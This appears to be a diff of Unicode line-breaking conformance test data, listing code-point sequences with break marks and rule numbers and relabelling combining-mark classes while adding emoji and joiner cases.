+× 0030 × 0308 ÷ AC01 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0030 × 05D0 ÷ # × [0.3] DIGIT ZERO (NU) × [23.03] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0030 × 0020 ÷ 05D0 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0030 × 0308 × 05D0 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [23.03] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0030 × 0308 × 05D0 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [23.03] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0030 × 002D ÷ # × [0.3] DIGIT ZERO (NU) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 0030 × 0020 ÷ 002D ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0030 × 0308 × 002D ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 002D ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0030 × 0308 × 002D ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 002D ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 0030 ÷ 231A ÷ # × [0.3] DIGIT ZERO (NU) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 0030 × 0020 ÷ 231A ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 0030 × 0308 ÷ 231A ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 231A ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 0030 × 0308 ÷ 231A ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 231A ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 0030 × 2024 ÷ # × [0.3] DIGIT ZERO (NU) × [22.05] ONE DOT LEADER (IN) ÷ [0.3]
× 0030 × 0020 ÷ 2024 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 0030 × 0308 × 2024 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [22.05] ONE DOT LEADER (IN) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 0030 × 0308 × 2024 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [22.05] ONE DOT LEADER (IN) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 0030 × 002C ÷ # × [0.3] DIGIT ZERO (NU) × [25.03] COMMA (IS) ÷ [0.3]
× 0030 × 0020 × 002C ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 0030 × 0308 × 002C ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [25.03] COMMA (IS) ÷ [0.3]
-× 0030 × 0308 × 0020 × 002C ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 0030 × 0308 × 002C ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [25.03] COMMA (IS) ÷ [0.3]
+× 0030 × 0308 × 0020 × 002C ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 0030 ÷ 1100 ÷ # × [0.3] DIGIT ZERO (NU) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0030 × 0020 ÷ 1100 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0030 × 0308 ÷ 1100 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0030 × 0308 ÷ 1100 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0030 ÷ 11A8 ÷ # × [0.3] DIGIT ZERO (NU) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0030 × 0020 ÷ 11A8 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0030 × 0308 ÷ 11A8 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0030 × 0308 ÷ 11A8 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0030 ÷ 1160 ÷ # × [0.3] DIGIT ZERO (NU) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0030 × 0020 ÷ 1160 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0030 × 0308 ÷ 1160 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0030 × 0308 ÷ 1160 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0030 × 000A ÷ # × [0.3] DIGIT ZERO (NU) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0030 × 0020 × 000A ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0030 × 0308 × 000A ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0030 × 0308 × 0020 × 000A ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0030 × 0308 × 000A ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0030 × 0308 × 0020 × 000A ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0030 × 0085 ÷ # × [0.3] DIGIT ZERO (NU) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0030 × 0020 × 0085 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0030 × 0308 × 0085 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0030 × 0308 × 0020 × 0085 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0030 × 0308 × 0085 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0030 × 0308 × 0020 × 0085 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0030 × 17D6 ÷ # × [0.3] DIGIT ZERO (NU) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0030 × 0020 ÷ 17D6 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0030 × 0308 × 17D6 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0030 × 0308 × 17D6 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0030 × 0030 ÷ # × [0.3] DIGIT ZERO (NU) × [25.03] DIGIT ZERO (NU) ÷ [0.3]
× 0030 × 0020 ÷ 0030 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 0030 × 0308 × 0030 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [25.03] DIGIT ZERO (NU) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 0030 × 0308 × 0030 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [25.03] DIGIT ZERO (NU) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 0030 × 0028 ÷ # × [0.3] DIGIT ZERO (NU) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
× 0030 × 0020 ÷ 0028 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0030 × 0308 × 0028 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0030 × 0308 × 0028 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 0030 × 0025 ÷ # × [0.3] DIGIT ZERO (NU) × [25.05] PERCENT SIGN (PO) ÷ [0.3]
× 0030 × 0020 ÷ 0025 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0030 × 0308 × 0025 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [25.05] PERCENT SIGN (PO) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 0030 × 0308 × 0025 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [25.05] PERCENT SIGN (PO) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 0030 × 0024 ÷ # × [0.3] DIGIT ZERO (NU) × [25.05] DOLLAR SIGN (PR) ÷ [0.3]
× 0030 × 0020 ÷ 0024 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0030 × 0308 × 0024 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [25.05] DOLLAR SIGN (PR) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 0030 × 0308 × 0024 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [25.05] DOLLAR SIGN (PR) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 0030 × 0022 ÷ # × [0.3] DIGIT ZERO (NU) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 0030 × 0020 ÷ 0022 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 0030 × 0308 × 0022 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 0030 × 0308 × 0022 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 0030 × 0020 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [0.3]
× 0030 × 0020 × 0020 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 0030 × 0308 × 0020 × 0020 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 0030 × 0308 × 0020 × 0020 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 0030 × 002F ÷ # × [0.3] DIGIT ZERO (NU) × [25.03] SOLIDUS (SY) ÷ [0.3]
× 0030 × 0020 × 002F ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 0030 × 0308 × 002F ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [25.03] SOLIDUS (SY) ÷ [0.3]
-× 0030 × 0308 × 0020 × 002F ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 0030 × 0308 × 002F ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [25.03] SOLIDUS (SY) ÷ [0.3]
+× 0030 × 0308 × 0020 × 002F ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 0030 × 2060 ÷ # × [0.3] DIGIT ZERO (NU) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0030 × 0020 × 2060 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0030 × 0308 × 2060 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0030 × 0308 × 0020 × 2060 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0030 × 0308 × 2060 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0030 × 0308 × 0020 × 2060 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0030 × 200B ÷ # × [0.3] DIGIT ZERO (NU) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0030 × 0020 × 200B ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0030 × 0308 × 200B ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0030 × 0308 × 0020 × 200B ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0030 × 0308 × 200B ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0030 × 0308 × 0020 × 200B ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0030 ÷ 1F1E6 ÷ # × [0.3] DIGIT ZERO (NU) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 0030 × 0020 ÷ 1F1E6 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0030 × 0308 ÷ 1F1E6 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0030 × 0308 ÷ 1F1E6 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0030 ÷ 261D ÷ # × [0.3] DIGIT ZERO (NU) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0030 × 0020 ÷ 261D ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0030 × 0308 ÷ 261D ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 261D ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0030 ÷ 1F3FB ÷ # × [0.3] DIGIT ZERO (NU) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0030 × 0020 ÷ 1F3FB ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0030 × 0308 ÷ 1F3FB ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0030 × 0001 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0030 × 0020 ÷ 0001 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0030 × 0308 × 0001 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0030 × 200D ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0030 × 0020 ÷ 200D ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0030 × 0308 × 200D ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 200D ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 0030 × 00A7 ÷ # × [0.3] DIGIT ZERO (NU) × [23.03] SECTION SIGN (AI_AL) ÷ [0.3]
× 0030 × 0020 ÷ 00A7 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0030 × 0308 × 00A7 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [23.03] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0030 × 0308 × 00A7 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [23.03] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 0030 × 50005 ÷ # × [0.3] DIGIT ZERO (NU) × [23.03] <reserved-50005> (XX_AL) ÷ [0.3]
× 0030 × 0020 ÷ 50005 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
